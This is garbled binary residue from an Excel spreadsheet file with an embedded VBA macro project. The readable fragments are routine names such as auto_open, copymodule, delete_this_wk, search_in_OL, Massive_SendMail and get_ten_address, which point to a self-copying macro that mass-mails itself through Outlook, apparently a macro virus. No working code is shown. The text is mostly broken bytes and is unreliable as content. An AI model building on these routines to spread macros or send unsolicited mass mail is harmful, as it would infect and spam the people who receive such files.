ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4Macr @0FC:\WINDOWS\system32\stdole2.tlbstdole yPL-[DR?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice a`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE 9p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymodule OĦMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen 9SummaryInformation(qrU~~{  !Qwb ModuleName Q FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf&ThisWorkbookThisWorkbookSheet1Sheet1ToDOLEToDOLEID="{2E4E12B4-1528-4122-BEEA-58B5D6134BEB}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="6260B8581E5C1E5C1E5C1E5C" DPB="C4C61EC2E225E325E325" GC="2624FC9C3C9C9F9D9F9D60" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C Oh+'0  4 @ L Xdlt|Administrator Lenovo UserWPS Office 2009 רҵ@ 5O@ 5O@?-@DocumentSummaryInformation8xPCompObjj՜.+,D՜.+,    (08@ H q' ɽɽ!Print_Area  Χ` ?GKSOProductBuildVer2052-8.1.0.3000 FMicrosoft Office Excel Biff8Excel.Sheet.89q